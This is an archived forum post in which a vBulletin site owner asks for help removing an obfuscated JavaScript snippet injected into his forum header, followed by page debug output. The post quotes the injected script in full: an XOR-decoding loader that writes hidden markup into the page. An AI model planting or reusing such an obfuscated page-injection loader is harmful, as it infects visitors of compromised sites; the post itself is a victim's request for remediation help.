vb.org Archive - View Single Post - I hope this is the right place to ask this

kevin_kirk · #1 06-05-2007, 10:59 PM

I wonder if someone could help - someone has pasted a javascript virus in the forum header on my site; it is the first thing that appears on the index page.

I've pasted it below (after replacing the java script word) so you can see were it is. How do I get rid of it and what does it do? The version of vb is V3.0.3

Thanks

Kevin

<script language="REPLACED">e = '0x00' + '52';str1 = "%E9%B1%BA%A7%CD%A0%A1%AA%B9%B6%EE%F3%A7%BA%A0%BA% B3%BA%B9%BA%A1%AA%EB%B5%BA%B1% B1%B6%BF%F3%EF%E9%BA%B7%A3%B2%BE%B6%CD%A0%A3%B0%EE %F3%B5%A1%A1%BD%EB%FC%FC%B1%BA %BF%B2%B0%BF%A1%FF%BA%BF%B7%BC%FC%B9%B1%FC%B4%A3%B 6%AA%FC%F3%CD%A4%BA%B1%A1%B5%E E%E2%CD%B5%B6%BA%B4%B5%A1%EE%E2%EF%E9%FC%BA%B7%A3% B2%BE%B6%EF%E9%FC%B1%BA%A7%EF" ;str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>

<meta http-equiv="Pragma" content="no-cache" />

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.01320 seconds Memory Usage 1,761KB Queries Executed 11 (?)
More Information
Template Usage: (1)SHOWTHREAD_SHOWPOST (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_box (1)post_thanks_button (1)post_thanks_javascript (1)post_thanks_navbar_search (1)post_thanks_postbit_info (1)postbit (1)postbit_onlinestatus (1)postbit_wrapper (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit reputationlevel showthread	Included Files: ./showpost.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/functions_bigthree.php ./includes/class_postbit.php ./includes/class_bbcode.php ./includes/functions_reputation.php ./includes/functions_post_thanks.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_postinfo_query fetch_postinfo fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete showpost_start bbcode_fetch_tags bbcode_create postbit_factory showpost_post postbit_display_start post_thanks_function_post_thanks_off_start post_thanks_function_post_thanks_off_end post_thanks_function_fetch_thanks_start post_thanks_function_fetch_thanks_end post_thanks_function_thanked_already_start post_thanks_function_thanked_already_end fetch_musername postbit_imicons bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete postbit_display_complete post_thanks_function_can_thank_this_post_start showpost_complete
Messages: